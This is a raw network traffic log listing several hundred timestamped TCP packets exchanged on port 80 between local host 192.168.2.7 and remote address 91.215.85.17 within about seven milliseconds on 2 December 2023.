Dec 2, 2023 18:01:45.367636919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367645025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367697954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367707014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367750883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367750883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367799997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367809057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367816925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367825985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367840052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367861032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367880106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367888927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367897987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367942095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367942095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368026018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368033886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368046045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368052006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368061066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368087053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368087053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368096113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368108034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368130922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368187904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368187904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368212938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368221998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368328094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368330002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368336916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368350983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368357897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368365049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368372917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368380070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368386984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368397951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368397951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368418932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368463993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368465900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368474960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368488073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368530989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368550062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368607044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368614912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368628025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368628979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368637085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368671894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368671894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368697882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368705988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368746996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368773937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368782997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368824959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368849039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368859053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368865967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368906021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368930101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368938923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368952990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368962049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.368997097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.368997097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369023085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369091988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369098902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369106054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369118929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369118929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369128942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369146109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369148016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369184017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369184017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369287968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369296074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369303942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369312048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369318962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369332075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369339943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369344950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369357109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369410038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369426966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369432926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369455099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369462967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369478941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369520903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369529963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369590044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369590044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369627953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369636059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369648933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369683981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369765043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369772911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369785070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369792938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369834900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369841099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369841099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369843006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369857073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369867086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369878054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369890928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369899035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369901896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369909048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.369951010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.369961977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370081902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370090008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370098114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370110035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370117903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370125055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370146036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370168924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370177031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370177984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370203972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370218039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370253086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370261908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370270014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370304108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370316982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370337009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370345116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370385885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370408058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370417118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370450974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370456934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370532036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370538950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370543003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370548010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370554924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370590925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370590925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370619059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370625973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370677948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370695114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370702982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370711088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370719910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370739937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370764017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370778084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370785952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370800018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370806932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370834112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370850086 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370913982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370922089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370929003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370938063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.370980024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.370980024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371006966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371015072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371027946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371036053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371064901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371083975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371085882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371228933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371237040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371249914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371258020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371264935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371273041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371279955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371289015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371330023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371334076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371340036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371350050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371387005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371395111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371403933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371462107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371483088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371490955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371505022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371510983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371536970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371562004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371562004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371637106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371644974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371656895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371665001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371687889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371709108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371742010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371761084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371762991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371771097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371784925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371817112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371838093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371845007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371857882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371891022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371898890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371901035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371906996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371916056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.371963024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.371963024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372044086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372052908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372065067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372072935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372096062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372119904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372133017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372140884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372184038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372184992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372193098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372205973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372211933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372257948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372308969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372318029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372324944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372328043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372333050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372364044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372459888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372473001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372473001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372490883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372498989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372502089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372507095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372514963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372577906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372580051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372594118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372653961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372661114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372668982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372675896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372714996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372716904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372780085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372802019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372811079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372823954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372862101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372865915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372869968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372884035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372912884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.372934103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.372950077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373054981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373061895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373074055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373081923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373094082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373104095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373135090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373142958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373143911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373143911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373151064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373163939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373172045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373174906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373174906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373229027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373287916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373296022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373308897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373317003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373357058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373357058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373384953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373553991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373560905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373593092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373600960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373609066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373615980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373627901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373634100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373634100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373635054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373650074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373657942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373666048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373666048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373675108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373682976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373694897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373722076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373722076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373773098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373795986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373805046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373816967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373867035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373873949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373882055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373894930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373903990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373939037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373956919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.373960972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373969078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.373981953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.374030113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.374030113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.374079943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.374089003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.374102116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.374110937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.374129057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.374207973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.374224901 CET	80	49713	91.215.85.17	192.168.2.7
